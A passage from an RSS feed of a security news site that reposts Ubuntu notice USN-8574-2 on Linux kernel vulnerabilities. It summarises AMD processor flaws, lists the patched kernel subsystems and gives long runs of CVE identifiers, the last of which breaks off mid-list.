CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:01:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
